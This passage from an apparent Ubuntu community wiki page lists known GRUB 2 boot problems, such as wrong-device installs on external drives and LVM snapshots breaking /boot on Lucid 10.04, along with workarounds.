Launchpad Bug 496435 Installs of Ubuntu on external drives can cause problems as grub-install uses device names (e.g. sda, sdb) rather than UUIDs in certain circumstances. If connected to another machine when an update of grub-pc is made, the upgrade may be written to the incorrect device and make the computer unbootable.
A workaround is posted on the bug link above.

External Drive Installs and MBR Selection

When installing Ubuntu to a USB drive, the potential exists for GRUB 2 to write to the hard drive's MBR or split the installation between the hard drive and the USB drive (rather than completely on the USB device). This can render the main drive unbootable.
Workaround: During the final stages of the install there is an "Advanced" button which allows the user to select the install location. See the bug report for more details.

Boot Partition is in Logical Volume whose Volume Group contains a snapshot

When your boot partition (the one providing /boot) is a LV, make sure not to have any LVM snapshots inside the containing VG. At reboot this will render your system unbootable, dropping you in a "grub rescue>"-shell with the following message: "error: no such disk."
The grub-rescue-shell provided does not help you, because all modules (esp. lvm) are unreachable. You'll have to boot from a install medium and remove all snapshots that are in the same VG as your boot partition by hand.
This issue is extremely annoying if your server is in a remote datacenter since the origin of the problem cannot be spotted easily and repairing the system may be hard.
While this will be fixed in the upcoming Maverick Meerkat 10.10 release, the current Lucid Lynx LTS 10.04 is affected.
A workaround would be to install ubuntu using a separated non-LVM partition for /boot if you are using LVM snapshots regularly.
There's some kind of irony that if you're careful and take a LVM snapshot before upgrading (and possibly rebooting) your system, this will trigger the bug.

insmod fails with "error: no such disk"

Several grub2 modules, such as the linux-module depends on other modules, which is attempted to be auto-loaded. For this to work, the variable $prefix, must be set to where the grub2 modules can be found. Usually, this is accomplished with the command "set prefix=/boot/grub".